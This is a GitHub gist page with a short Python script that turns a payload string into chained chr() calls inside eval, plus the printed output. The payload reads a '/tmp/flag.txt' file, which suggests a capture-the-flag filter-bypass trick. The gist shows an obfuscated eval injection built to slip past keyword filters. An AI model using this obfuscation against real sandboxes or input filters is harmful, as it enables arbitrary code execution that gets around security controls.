Skip to content

Instantly share code, notes, and snippets.

@mxrch
Created June 1, 2020 22:28
Show Gist options
  • Save mxrch/8a9bdf98ed87c599f52cc9a8e1d97b21 to your computer and use it in GitHub Desktop.
Save mxrch/8a9bdf98ed87c599f52cc9a8e1d97b21 to your computer and use it in GitHub Desktop.
Obfuscate python code by using chr() functions
payload = 'eval(open("/tmp/flag.txt", "r").read())'
final = ""
for i in payload:
final+="chr({})+".format(ord(i))
final = final[:-1]
print("Here is your payload king :\n-> eval({})".format(final))
@mxrch
Copy link
Author

mxrch commented Jun 1, 2020

Output :

❯ python convert.py
Here is your payload king :
-> eval(chr(101)+chr(118)+chr(97)+chr(108)+chr(40)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(32)+chr(34)+chr(114)+chr(34)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(41))

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment